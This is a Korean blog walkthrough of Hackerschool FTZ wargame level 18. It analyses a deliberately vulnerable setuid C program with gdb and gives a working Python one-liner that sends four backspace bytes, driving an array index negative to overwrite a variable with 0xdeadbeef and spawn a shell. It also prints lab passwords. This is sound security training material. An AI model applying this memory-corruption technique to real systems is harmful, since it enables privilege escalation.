해커스쿨 FTZ [LEVEL18] 풀이
M4ndU
해커스쿨 FTZ [LEVEL18] 풀이입니다.
ID | level18
PW | why did you do it
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level18
level18@192.168.31.128's password:
[level18@ftz level18]$ ls -l
total 20
-rwsr-x--- 1 level19 level18 6225 Jan 25 1999 attackme
-rw-r----- 1 root level18 1272 Jan 25 1999 hint
drwxr-xr-x 2 root level18 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level18 4096 Jan 8 2009 tmp
[level18@ftz level18]$ cat hint
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
소스가 엄청 길어졌습니다..
분석을 해봅시다.
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
count가 100이상이면 문장을 출력하고
check가 0xdeadbeef이면 shellout함수를 실행하네요.
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
사용자로부터 입력을 받고, 입력값에서 1바이트를 가져옵니다.
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
그 1바이트의 값이 0x08이면 count 값을 1감소하고
그 1바이트의 값이 \r \n 0x08이 아니라면 string[count] 에 그 1바이트값을 대입하고
count의 값을 1증가 시키네요.
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
shellout함수는 쉘을 띄워주네요.
우리의 목표는 check의 값을 0xdeadbeef로 만드는 것이네요.
string의 값을 넘치게해서 리턴값을 바꾸는 것은 첫번째 조건문에 걸리기 때문에 불가능하고요.
그런데 check는 string보다 더 낮은주소에 있습니다. 그럼 check를 어떻게 조작해야 할까요?
만약 count가 음수라면..? string의 시작주소보다 더 낮은주소에 접근할 수 있지 않을까요?
gdb를 통해 한번 보겠습니다.
코드가 길어서 중요한 부분만 적겠습니다.
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef
그리고 밑으로 내려가보면
0x08048743 <main+499>: lea eax,[ebp-100]
0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax
0x0804874c <main+508>: mov edx,DWORD PTR [ebp-112]
0x0804874f <main+511>: mov cl,BYTE PTR [ebp-108]
0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl
0x08048758 <main+520>: mov al,BYTE PTR [ebp-253]
0x0804875e <main+526>: mov ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al
0x08048767 <main+535>: inc DWORD PTR [ebp-112] //count++;
0x0804876a <main+538>: jmp 0x8048770 <main+544> //break;
밑에 inc도 있고 하니 default: 부분인것 같습니다.
string은 ebp-100이 되겠네요.
그러면 check와 string사이에 dummy는 없습니다.
이 구조를 나타내면
낮은주소
check[0] - string[-4]
check[1] - string[-3]
check[2] - stirng[-2]
check[3] - stirng[-1]
string[0]
string[1]
...
string[99]
높은주소
이해가 되시나요?
우리가 도달해야 할 곳은 string[-4]이고, count의 초기값은 0입니다.
count의 값을 감소시키는 방법은 0x08을 보내는 것이죠.
0x08을 4번 보내어 string[-4]부터 쓸 수 있도록 만들고 0xdeadbeef를 덮어쓰면 되겠습니다.
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme
[level18@ftz level18]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme
Enter your command: my-pass
Level19 Password is "swimming in pink".
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL20] 풀이 (2) | 2018.02.10 |
---|---|
해커스쿨 FTZ [LEVEL19] 풀이 (0) | 2018.02.09 |
해커스쿨 FTZ [LEVEL17] 풀이 (2) | 2018.02.09 |
해커스쿨 FTZ [LEVEL16] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL15] 풀이 (0) | 2018.02.09 |